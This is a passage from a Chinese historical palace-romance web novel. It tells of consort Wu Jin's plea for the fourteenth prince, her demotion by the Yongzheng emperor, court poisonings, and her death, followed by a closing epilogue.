“姐姐,你待会要做什么?”
“看书。”
过年看书也就只有皇贵妃了,年氏哦了一声,没说什么,跟皇贵妃笑了笑,之后就分开走。
乌锦是打算在承乾宫看书的,不过被女儿拉去御花园那边放烟花,虽是大白天放烟花不如晚上好看,见女儿开心,她也没有扫兴,陪着玩一会。
皇上过年期间依旧很忙,白天基本上不见人影,晚上才会过来。
乌锦的日子过得很平静,在后宫跟在后院没什么不一样,看看书养养花,偶尔在宫里四处闲逛,跟懋嫔与宁嫔她们聊聊天,反正她这个皇贵妃很清闲。
登基大典定在一月二十日,皇上改年号为雍正,登基大典一结束,皇上便立即封十三阿哥为怡亲王,命他总理户部事务,同时提拔许多之前跟随他的大臣,也将乌安召回京城,先前那些党附八阿哥的大臣,杀的杀,降的降。
仅仅过两个月,朝堂上党附八阿哥的大臣就少了一半,所有人都知道皇上这是要秋后算账。
第一个被皇上秋后算账的阿哥是大阿哥胤褆,皇上说大阿哥在先帝丧礼时对先帝不敬,不仁不孝,直接将大阿哥幽禁在府邸,命人轮番监守,并且削去爵位。
众人皆知大阿哥落得如此下场,可能跟当年谋害四阿哥有关。
到了雍正元年四月,听闻十阿哥在府中对皇上登基不满,在府中咒骂皇上而传到皇上耳中,皇上也将他拘禁其府,并且褫夺其爵位。
九阿哥为了此事替十阿哥求情,也被皇上革去黄带子,囚禁起来。
朝堂上人心惶惶。
同年八月,皇上进封八阿哥为和硕廉亲王,命他掌管宗人府跟理藩院。
乌锦对前朝的事只是听一听,她什么都管不了,直到皇太后找她。
皇太后屏退左右,直接开口道:“乌氏,你救救十四,皇上要杀十四,你去给十四求情。”
乌锦一愣,问皇太后此话从何而来。
皇太后脸色沉重,说道:“从何而来,皇上亲口所说,乌氏,都是你害了十四,你害得他们兄弟反目成仇,都是你害的。”
皇太后见皇上雷厉风行地处置了九阿哥跟十阿哥,她怕下一个轮到十四,在皇上给她请安时,她试探皇上,皇上却表露出要杀十四的心,她跟皇上向来不亲近,皇上的性子看似温和,实则冷漠暴戾,他这么快将胤禟跟胤俄囚禁起来便可见一斑,他不是不知道他才刚刚登基,其实不适合这么快处置那些跟他争夺皇位的人,但他就是这么做了,他是一点都忍不了,十分迫不及待,不顾众人所言。
昨日,皇上更是直说他多么恨十四,皇太后怕皇上真的对十四下杀手,她说的话不管用,只能找乌氏,想让她去跟皇上求情。
对皇太后充满怒气的指责,乌锦沉默以对。
“乌氏,你去跟皇上求情,让他放过十四,你若是不求情,他真的会杀了十四,算哀家求你了,皇上他疯了,你一定要阻拦他,只有你能做到。”
乌锦不觉得自己有那么大的本事,不过想到十四阿哥,她还是应下皇太后的请求,说她会去替十四阿哥求情。
从慈宁宫出来,乌锦抬头看看天,阳光射进她眼睛里,她眯了眯眼,随后才慢慢走回承乾宫。
她没有过去找皇上,她知道皇上晚上会过来。
到了傍晚,皇上过来,曦宁跟以前一样跟他们一块用膳,皇上提到曦宁的亲事,说曦宁年纪不小了,该嫁人了。
“皇上打算让曦宁抚蒙吗?”
“不会,我舍不得我女儿嫁那么远,我会让她留在京城,我已经为她挑好夫婿了。”
乌锦嗯了一声,既然曦宁可以留在京城,夫婿是谁不要紧,曦宁是皇上的女儿,她身份尊贵到不需要夫婿来扶持衬托,只要对方人品好,哪怕是家世不好也可以,反正皇上可以抬举他们。
“皇上做主就好。”
“阿玛,我要先看看他长什么样。”
胤禛轻笑:“好,阿玛给你挑几个额驸,你从中再挑一个顺眼的就好,阿玛会让你看到他们长什么样的,你也可以先跟他们相处看看,看哪个合适就选哪个。”
曦宁开心地笑了笑。
夜里,乌锦亲自伺候皇上更衣。
“臣妾听说皇上收走十四阿哥的兵权。”
胤禛看了乌锦一眼,等着她的后语。
“臣妾求皇上饶十四阿哥一命。”
胤禛盯着乌锦的眼睛,知道她这是为十四求情,她以什么身份替十四求情,他抬起乌锦的下巴,她那双黑眸映在他眼底,他沉声道:“乌锦,你在替谁求情?”
“臣妾只求皇上饶十四阿哥一命,他罪不至死。”
胤禛冷笑,好一个罪不至死,这些年,她是不是也忘不了十四,怀念她跟十四的八年。
他的手捏紧乌锦的下巴,气极反笑道:“乌锦,你以什么身份替他求情,你知不知道,在朕知道他把你藏了八年时,朕只有一个想法,杀了他,朕一定会杀了他。”
她给十四求情只会让他杀意更盛,胤禛迟早会杀了十四。
“
皇上,还请皇上饶十四阿哥一命。”
“你越替他求情,朕越想杀他。”
“皇上,他是你亲弟弟,难道他这些年远离京城还不够吗?你为何非要杀他?”
“朕想杀便杀,他把你藏起来的时候,怎么就没想过他是朕的亲弟弟,朕待他不薄,可是换来的是什么?乌锦,是他先背叛朕的!”
“臣妾只求皇上饶他一命。”
“那你拿什么换他的命?”
“臣妾这些年对皇上唯命是从还不够吗?”
胤禛一听这话,眼底的戾气尽显,只觉得心狠狠抽疼一下,原来她这些年不吵不闹,对他俯首听命是为了救十四的命,她这些年的恭顺忍让是为了今日替十四求情,他目光凝视她,手往下直接掐着她的脖子。
“你刚刚说什么,你再说一遍!”
“臣妾这些年不见弘春,被皇上囚在后院而没有一丝怨言,臣妾用臣妾的自由换他们一命不够吗?皇上,饶他们一命吧,算我求你。”
胤禛狠狠掐住乌锦的脖子,眼里满是杀气,原来是这样,原来她是这么想的,她这些年的不反抗是为了十四他们,她心里有十四他们,她一直没忘掉十四。
“乌锦,朕告诉你,朕一定会杀了他,杀了弘春。”
“那皇上也杀了我吧。”
胤禛轻笑,有眼泪含在眼眶中:“乌锦,你别以为我不敢,这些年,我以为你是心甘情愿,原来你是心不甘情不愿,我待你不薄,我封你为皇贵妃,你却这样对我,你是不是从来没有爱过我?你是不是在那八年里爱上十四了?”
“我只求皇上饶他们一命,求皇上网开一面。”
“呵呵……你痴心妄想,乌锦,朕给你的,你不稀罕,那朕就全部收回去!朕告诉你,朕一定会杀了他们!”
胤禛松开她,满身怒气地离开。
在外面的苏培盛见皇上气冲冲出来,不知道发生了什么,只连忙跟上。
翌日,皇上突然将皇贵妃降为没有位份的庶妃,并让内务府按照庶妃的份例给皇贵妃发放份例。
曦宁格格得知此事,去跟皇上求情,皇上都没有撤回这道旨意。
不仅如此,皇上在一个月内定下曦宁格格的亲事,并将婚期定在半个月后,皇上说因还在三年国丧期,曦宁格格的婚事一切从简,皇上为曦宁格格挑选的额驸只是六品护军参领之子。
皇上封曦宁格格为固伦公主,曦宁格格出嫁那一天,苏培盛见到乌主子眼睛都哭红了,一个半月,曦宁格格就嫁出去了,宫里人都知道格格嫁得太过匆忙,都在揣测乌主子做了什么惹怒皇上,以致于格格的婚事这么匆急,乌主子也突然从皇贵妃降为庶妃。
虽说乌主子从皇贵妃降为庶妃,但皇上还是常常宿在承乾宫。
又过了一个月,宫里传出是乌主子替十四阿哥求情才惹怒皇上,是真是假,苏培盛这个贴身太监都不得而知,他觉得可能八九不离十,能让皇上这么动怒的只有十四阿哥了。
只是十四阿哥自从皇上登基后,一直很安分,让交兵权,他也交了,没有反抗。
眨眼间到了雍正二年二月,前太子病逝,前太子从被先帝拘禁后一直没能走出府邸,哪怕皇上登基后也没有放出前太子的意思。
与此同时,因三阿哥跟前太子一向亲睦,虽说到后面,三阿哥知道自己登基无望,只顾着编书,但皇上还是给三阿哥降爵,三阿哥从亲王降为贝勒。
朝中大臣都知道跟皇上争夺过皇位的阿哥恐怕最终都逃不过皇上秋后算账,不过是时日问题而已,目前只剩下八阿哥还没被皇上处置,还在朝中当差。
……
乌锦这边自从曦宁嫁人出宫后,反而心里更平静了,曦宁嫁人出宫是好事,不然让她亲眼见到她阿玛跟额娘闹成这样子不是好事。
虽说她被降为庶妃,份例减少,吃喝不如从前精致,但也能吃饱,她反正也不需要穿金戴银,吃饱就行。
皇上夜里过来,开始像以前那样对着她发泄,她时常醒来浑身青紫,白天需要抹药膏。
有一天皇上过来,告诉她完颜氏怀孕了,她还想了一下完颜氏是谁,宫里的主子好像没有一个姓完颜氏的人。
他告诉她是十四的嫡福晋,她才想起来,她不冷不淡地说了一句恭喜。
“你看,十四他也不会为你守身如玉。”
乌锦心想她也不需要十四为她守身如玉,她知道他是故意过来跟她说这事的。
皇上亲她,乌锦乖乖承受。
许是他今天高兴,没有太折腾她。
乌锦累得睡过去。
尽管如此,乌锦本来几年前那场大病后身子就虚,被他折腾两个月,身子就更虚了,又开始生病。
他倒没有狠心到不让太医给她看病,还是请了不少太医给她看病,太医都说她身子太虚,需要静养。
乌锦躺在床上,喝了药之后,人有些昏沉。
胤禛听完太医的阐述后从外面进来,见她躺在床上,昏昏欲睡,他握了握她的手,太医说她内里空了,不仅仅是需要一两个月的调养,恐怕她后半辈子都要静养,才能活得久,她比他还大一岁,不是年轻人了。
乌锦偏头看他一眼,之后沉沉睡过去。
乌锦养病这些日子,懋嫔过来告诉她,皇上让十四过去遵化为先帝守陵,十四将一家子都带过去。
乌锦知道这是皇上饶十四他们一命的意思,皇上这是托懋嫔的口告诉她。
许是皇太后知道皇上最后放过十四,她撑着一口气也散了,年迈的她在十四去守陵后没多久就病逝了,在皇太后病逝前,乌锦去探望皇太后,得到皇太后说的一句感谢。
自从她生病后,皇上就没有再折腾她,送过来的膳食也恢复从前,她想吃什么,基本上可以吃得到。
雍正三年年初,因八阿哥办事不利,户部拿不出银子来赈灾,皇上削去八阿哥王爵,高墙圈禁八阿哥。
至此,皇位斗争彻底结束,先帝让皇上仁慈,善待弟兄,皇上没有做到,为防止重蹈覆辙,皇上提出秘密立储制度,在皇上驾崩后,提前写好的诏书才会公布于世。
雍正四年三月一日,曦宁带着满一岁的女儿进宫,乌锦抱着曦宁生下的格格,变脸逗着小孩子玩,小格格咯吱咯吱直笑。
“是祖母呀,下次过来要认得祖母。”
“阿玛……”
乌锦听到曦宁喊阿玛的声音也抬头看过去,皇上穿着天青色单袍跟金龙褂走过来,她把小格格抱起来,拿着孙女的小手朝皇上招手:“看,兰珠,这是谁来啦,是你祖父,快叫祖父。”
“啊啊……”一岁的孙女还不会说话,只会嘤嘤啊啊。
胤禛见乌锦很是慈爱地抱着孙女,孙女还在流口水,她都不
介意。
“皇上,你抱抱你孙女吧。”
胤禛从乌锦手上接过孙女,一岁的小孩子很轻,抱起来不费劲,孙女的口水滴在他胸前,惹得乌锦跟女儿偷笑。
他没好气地看向乌锦,让她拿手帕给孙女擦擦。
“皇上可是嫌弃你孙女的口水,兰珠,你祖父嫌弃你呢,来,祖母抱。”
胤禛又把孙女还给乌锦,经过一年多的静养,乌锦精神气好很多了。
“阿玛,你跟我们一起用午膳吧。”
“嗯,那让人摆膳吧。”
他们其乐融融地坐在一块用膳,吃好之后,曦宁很识相地抱着女儿到别的房间,让阿玛跟额娘单独相处。
“十四昨日又得一个阿哥。”
乌锦看他,这两年,十四每添一个孩子,他都会特意过来告诉他,什么心思昭然若揭,她忍不住拧了拧他耳朵。
“我没骗你。”
“你闭嘴吧。”
胤禛轻笑,温柔地拥着她,这两年,她又瘦了不少。
“皇上朝务繁忙,去睡一觉吧。”
“你陪我一起。”
乌锦最后还是陪他睡一个午觉。
曦宁跟孙女兰珠在宫里住了十几天才回夫家,乌锦看着女儿生活平稳,也安心不少,想到女儿,她就不由自主想到弘春,她都不记得自己有多少年没见到弘春了,上一次是在先帝的丧礼上远远瞥见过。
同样是她的孩子,她在女儿的生命力缺失八年,在弘春的生命里缺失十几年。
没过几日,乌锦听说弘晖中毒,她让小才子去打听是怎么回事,弘晖是皇上的嫡长子,已经开始替皇上分担朝务了。
过了一个时辰,小才子打听回来,弘晖中毒不假,据说是膳食出了问题。
弘晖住在阿哥所那边,乌锦不方便过去,只让人留意阿哥所那边的动静。
然而弘晖许是中毒太深,只过一夜就传来死讯,听说皇后哭到昏厥。
皇上在出事后第二天过来她这里时,人很憔悴,乌锦见过弘晖这个孩子,他被皇后教得很好,很勤奋也很有学识,待人处事很稳重。
皇上靠在她身上,乌锦安抚地摸了摸他的头,他对弘晖也是倾注不少心力的,没想到会白发人送黑发人,太多安慰的话语不管用,她只让皇上静静靠着,感觉到胸前一湿,她就知道皇上哭了。
许是太过悲伤,太过疲惫,皇上没多久就昏睡过去。
等他醒来,他又恢复冷静,开始处理弘晖的丧事。
弘晖的丧事一过,乌锦去看过皇后几次,皇后整个人沉浸在悲伤里,短短十几天就消瘦不少,目前还没查出是谁给弘晖下的毒。
日子就这么过去三个月,齐妃突然被降为庶妃,并且打入冷宫,被拘禁起来,宫里都在传弘晖的死是齐妃在背后指使。
乌锦觉得这大概是八九不离十,齐妃这么做,很可能是为了弘时。
另一边的皇后乌喇那拉氏过去冷宫看李氏,见到李氏,她恨不得杀了李氏。
“你我情同姐妹多年,你为何要这般害弘晖?”皇后愤恨道。
李氏轻笑,事已至此反而有一股坦然,不怕皇后的指责:“姐姐,你真的不知道吗?要怪只能怪弘晖挡住我孩子的路。”
“你太狠心了,我待你不薄。”
“姐姐,你这些年难道不是一直在防着我吗?你也怕弘时得皇上的心,你也怕皇上传位给弘时。”
乌喇那拉氏盯着李氏,气愤道:“但我从来没有害过弘时,枉我把你当成姐妹多年。”
“姐姐,你不是没想过,你只是还没来得及动手。”
乌喇那拉氏见李氏还一副不知悔改的样子,害死她的弘晖,生生断了她家族的希望,她又岂容她在冷宫度过晚年,她示意奴才上前给李氏灌毒酒。
李氏反而没有抵抗,喝下毒酒,她反正也活得够久了,她对着皇后说道:“姐姐,你是待我不薄,是我对不起你,为了弘时,我依旧会这么做,我欠姐姐的,只能下辈子再还了。”
乌喇那拉氏看着李氏毒发身亡,跟当时弘晖中毒一样,她心中没有畅快,她当年是真的跟李氏交好,视她为姐妹,宋氏她们跟乌氏交好,而她跟李氏交好,相处几十年,终究还是有几分姐妹情谊的,她心里是难过的。
皇位之争让皇上不顾兄弟之情,也让李氏不顾她们相伴几十年的姐妹之情,弘晖死了,弘时也未必可以坐上皇位,皇上还有一个儿子。
在李氏死后,乌喇那拉氏让奴才们给李氏弄成自缢身亡的假象,她知道皇上若知道实情,也不会追究她的过错,李氏是死有余辜。
……
乌锦听说李氏的死讯后也忍不住叹口气。
日子来到雍正六年年底,乌锦突感风寒,开始咳嗽不止,她身子太虚了,本来只是普通的风寒,经过几日后变得严重,开始咳血。
不知是人死之后会有预感,乌锦觉得自己时日不多了,她活到这个岁数,在古代已经算是高龄。
她像是交代遗言一般对着每一个过来探望她的人说话,那些人都让她别说不吉利的话。
一日白天,乌锦又咳血,咳完之后,皇上过来看她,在床上扶着她,她靠在他身上。
“胤禛,我时日不多了,你把曦宁唤进宫吧。”
“别说傻话,太医能医好你的。”
乌锦摇摇头,她知道自己是强弩之末了,哪能每一次都侥幸逃过,她郑重道:“胤禛,让曦宁进宫吧,我额娘他们都召进宫吧,还有……我想见见弘春。”
“我会让人传唤他们,需两到三日。”
“好,希望我能撑到那个时候。”
胤禛看着虚弱的乌锦,没想到她会走到他前头,他紧握着她的手,问出他最想问的一句话:“你有没有真心爱上我?”
“胤禛,我们相伴几十年,我对你有情,我不是麻木不仁之人,你对我的好,我一直记在心里。”
“有没有怨我?”
这十几年来,他不让她见十四跟弘春,拘着她,她对他应该有所怨恨吧。
“胤禛,有舍有得,你抬举乌家,我享了几十年的荣华富贵,我们之间有曦宁这么好的女儿,我不怨你,我真的不怨你。”
这番对话结束后,乌锦又昏睡过去,这一睡反而没能醒来,在睡梦中过世,没能见到弘春他们最后一面,她在异世活了五十年,已经算是漫长。
胤禵带着弘春快马加鞭从皇陵回到京城,原本需要两天,他们只用了一天,但一到紫禁城就听到皇贵妃的死讯,听到丧钟响起。
胤禵差点瘫软跪下去。
“阿玛……”弘春撑住自家阿玛,他们一路互相撑着来到承乾宫,承乾宫已挂上白布。
“我要见她。”胤禵说道。
“她已经死了。”
“活要见人,死要见尸,让我见她。”胤禵目光愤恨地看向皇兄,他觉得皇兄是故意的,故意这么晚传信给他们,让他们无法见到乌锦最后一面。
胤禵还是如愿见到乌锦,她安安静静地躺在棺木中,他心中悲痛,只觉得心口被挖了一块,血汩汩流出。
他知道皇兄要杀他,当初她为他求情,皇兄生她的气,将她从皇贵妃降为没有位份的庶妃,他被皇兄派去守皇陵,他知道要想她在宫里好过,他就只能放下。
当他开始有除了弘春之外的孩子后,他听说她又恢复位份,皇兄还是放过她,选择善待她。
只是没想到一别就是死别,胤禵宁愿她好好活着,长命百岁,也不愿意见到她安安静静躺在那里。
“额娘……”弘春伏在棺木上大哭。
胤禵捂着自己的心口,整个人不由自主地颤抖起来,紧紧抱着弘春,他想念他们在镇北关的日子,一晃这么多年过去了,他竟没能再在雨天跟她相拥一回。
乌锦被以皇贵妃的规格置办丧礼。
乌锦丧礼结束后,胤禵带着弘春又回到皇陵,依旧被圈禁。
人死了,爱也好,恨也罢,一切都烟消云散,胤禵对皇兄没有怨没有恨。
……
自从乌氏死后,皇上一心扑在朝政上,登基以来没有选过秀,弘历是皇上最小的孩子,乌喇那拉氏没想到皇上没打算让弘时即位,而是选择了弘历,开始让弘历跟在他身边处理奏折。
皇上处理起朝政来没日没夜,谁劝都没有用,许是因为这样,皇上身子变得不好,乌氏死后的第四年,弘历基本上接管了朝政。
之后九阿哥、十阿哥跟八阿哥相继离世。
乌氏死后第六年,皇上便病逝了,传位给弘历,改年号为乾隆。
乌喇那拉氏成了皇太后,皇上后宫那些女人又开始为新帝的女人挪宫。
弘历即位后,下旨释放十四阿哥,封十四阿哥为奉恩辅国公,而弘春也被封为贝子。
乾隆元年,十四阿哥病逝,没过两年,弘春也病逝,英年早逝。
乾隆四年,三月初,春日和煦。
乌喇那拉氏在御花园见到一女孩在御花园扑蝶,那女孩跟乌氏非常像,一问才知道是曦宁的二女儿乌林珠,她朝五岁的乌林珠招招手。
乌林珠跑过来,给她行礼。
“给皇祖母请安。”
她是曦宁的嫡额娘,乌林珠叫她一声皇祖母也没有错,她摸了摸乌林珠的头,只是第一眼就很喜欢她,乌林珠的眼睛跟乌氏的眼睛很像,又大又圆。
“乌林珠,你额娘呢?”
“额娘去找三舅了。”
乌林珠口中的三舅是皇上,弘时是二舅,弘晖是大舅,只是乌林珠从来没见过她大舅,但曦宁这孩子是记得弘晖的,哪怕乌林珠从没见过弘晖,也记得按照顺序教孩子怎么叫人。
乌喇那拉氏抹了抹眼角的眼泪,忍不住抱了抱乌林珠,满眼慈爱说道:“乌林珠真是好孩子,你额娘也是好孩子,你祖母也很好,才会教出你额娘这么好的孩子。”
“皇祖母,你不是我祖母吗?”
“我是你皇祖母,你还有一个祖母,你跟你祖母长得很像,你祖母性子很好,长得可好看了,乌林珠长大后肯定也跟你祖母一样漂亮。”
乌林珠似懂非懂,五岁的她还处在懵懵懂懂的时期。
“嫡额娘……”
乌喇那拉氏见到曦宁过来,她跟曦宁笑了笑:“我刚刚说乌林珠长得跟你额娘很像。”
“是,我也觉得乌林珠跟我额娘长得很像。”
“你们母女两都很像你额娘,日后你们多进宫陪陪嫡额娘。”
曦宁笑着应下。
御花园的阳光变得炎热,乌喇那拉氏跟曦宁一左一右牵着乌林珠回慈宁宫。
阳光将她们的影子斜斜拉远。
紫禁城的日子平静又悠远,康熙雍正年间的事已是过去,如梦似幻,从前种种,终究过去。